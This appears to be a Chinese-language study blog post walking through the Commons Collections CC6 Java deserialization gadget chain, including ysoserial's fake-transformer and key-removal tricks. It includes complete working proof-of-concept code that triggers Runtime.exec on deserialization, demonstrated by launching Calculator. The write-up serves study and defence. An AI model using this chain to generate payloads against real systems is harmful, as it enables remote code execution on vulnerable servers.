Common-Collections 6

上一篇我们详细分析了CommonsCollections1这个利用链和其中的LazyMap原理。但是我们说到,在 Java 8u71以后,这个利用链不能再利用了,主要原因是 sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化了.但是在ysoserial里,CC6链算是比较通用的利用链了,主要就是高版本兼容。
所以入口点还是 LazyMap#get()这个地方,只是要解决Java高版本利用问 题,实际上就是在找是否还有其他调用 LazyMap#get() 的地方

TiedMapEntry

org.apache.commons.collections.keyvalue.TiedMapEntry类中 ,里面的getValue方法 中调用了 this.map.get ,而其hashCode方法调用了getValue方法:

package org.apache.commons.collections.keyvalue;
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;
    public TiedMapEntry(Map map, Object key) {
        this.map = map;
        this.key = key;
    }
    public Object getKey() {
        return this.key;
    }
    public Object getValue() {
        return this.map.get(this.key);
    }
    // ...
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 : value.hashCode());
    }
    // ...
}

getValue方法调用了this.map.gethashCode方法则调用了getValue,所以要想触发LazyMap利用链,就是要找到哪里调用了TiedMapEntry#hashCode或者getValue方法

恰好在java.util.HashMap#readObject中是可以直接调用HashMap#hash(),然后在hash方法中再来调用TiedMapEntry#hashCode()就行了

但是在ysoserial中,是利用 java.util.HashSet#readObjectHashMap#put() HashMap#hash(key),最后到 TiedMapEntry#hashCode() 。不过其实这样是比较麻烦的。先看看HashMap源码:

public class HashMap<K,V> extends AbstractMap<K,V>
    implements Map<K,V>, Cloneable, Serializable {
    // ...
    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
        }
    // ...
    private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        // ...
        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
            K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
            V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
 }

再看看hash方法里面:

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

所以只需要让key等于TiedMapEntry对象即可。

来看一下利用链:

/*
Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
 
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()
 
org.apache.commons.collections.functors.ChainedTransformer.transform()
 
org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()
 */

构造一下poc:

import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.TransformerClosure;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer chaindTransformer = new ChainedTransformer(transformers);
        Map innermap = new HashMap();
        Map outerMap = LazyMap.decorate(innermap,chaindTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zz");
        Map popMap = new HashMap();
        popMap.put(tiedMapEntry,"123");
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(popMap);
        objectOutputStream.close();

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object obj =(Object)objectInputStream.readObject();
    }
}

这里学完后我回过来看觉得这里应该是弹出两次计算器的,但是只弹出了一次,因为put本来就会触发一次,反序列化后也应该触发一次,调试的时候把断点打到反序列化的地方也发现断不到,干脆打到exec那里

这里弹了一次,再次运行后就直接结束了,那说明没有到反序列化的地方,再回过头来看报错

这里报的是序列化的错,那么很可能序列化的时候程序就已经异常结束了。所以这样的写法,不太正确,还是接着看后面的写法。

ysoserial中的利用

接着我们来看一下ysoserial中是怎么利用的

先看一下这里:

Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer chainedTransformer= new ChainedTransformer(faketransformers);

这串代码和之前的不同之处在于这里创建了一个假的Transformer数组,这样的好处其实之前弄cc1唠嗑的时候有提到过,因为调试的时候会不经意触发tostring方法,导致执行,这样的话可以防止这个,然后在最后生成payload的时候再传入真的Transformer数组,而这里是通过反射来传入真正的Transformer数组的。

来看一下反射的代码:

public class Reflections {
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        final Field field = getField(obj.getClass(), fieldName);
        field.set(obj, value);
    }
    public static Field getField(final Class<?> clazz, final String fieldName) {
        Field field = null;
    try {
        field = clazz.getDeclaredField(fieldName);
        setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (clazz.getSuperclass() != null)
                field = getField(clazz.getSuperclass(), fieldName);
        }
        return field;
    }
}

而在ChainedTransformer中存放Transformer数组的变量名就是iTransformers,所以说通过Reflections.setFieldValue(transformerChain, "iTransformers", transformers);就把真正的Transformer数组设置进去了,或者也可以这样

Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer,transformers);

效果是一样的,都是通过反射把原来iTransformers里面的元素替换成了利用链

这里为什么要用反射来赋值呢?

其实也很简单,因为ChainedTransformer里面的iTransformers属性是被保护的,如果是public才可以直接赋值

现在这样看着一切都很正常,运行一下

import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.TransformerClosure;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception{
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer chainedTransformer= new ChainedTransformer(faketransformers);
        Map innermap = new HashMap();
        Map outerMap = LazyMap.decorate(innermap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zz");
        Map popMap = new HashMap();
        popMap.put(tiedMapEntry,"123");


        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(popMap);
        objectOutputStream.close();
        System.out.println(byteArrayOutputStream);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object obj =(Object)objectInputStream.readObject();
    }
}

运行是成功了,但是没有弹计算器

单步调试来看,到这里可以看到并没有进去

这里的map.containsKey(key)已经满足了,但是我们并没有事先传入键名啊,其实原因是在popMap.put(tiedMapEntry,"value");中,HashMap里的put方法也会调用到hash(key)

回忆一下cc6的链子,这链子是不是就已经连上了,相当于本地触发了;但我们第一次传入的是faketransformers,这个时候super.map.containsKey(key)是为false的,是正常的,问题就是它进入了之后,执行了super.map.put()操作,这里就把键名传入进去了,导致第二次,我们真正的transformers传进来之后,利用反序列化触发时,它就为true了,也就没办法触发了

这里的解决方法也就很简单,只需要将这个Key,再从outerMap中移除即可:

outerMap.remove("zz")
import net.sf.cglib.transform.ClassTransformerChain;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.TransformerClosure;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class cc6 {
    public static void main(String[] args) throws Exception{
        Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class, new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };
        Transformer chainedTransformer= new ChainedTransformer(faketransformers);
        Map innermap = new HashMap();
        Map outerMap = LazyMap.decorate(innermap,chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"zz");
        Map popMap = new HashMap();
        popMap.put(tiedMapEntry,"123");
        outerMap.remove("zz");


        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer,transformers);


        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(popMap);
        objectOutputStream.close();
        System.out.println(byteArrayOutputStream);

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        Object obj =(Object)objectInputStream.readObject();
    }
}

成功弹出计算器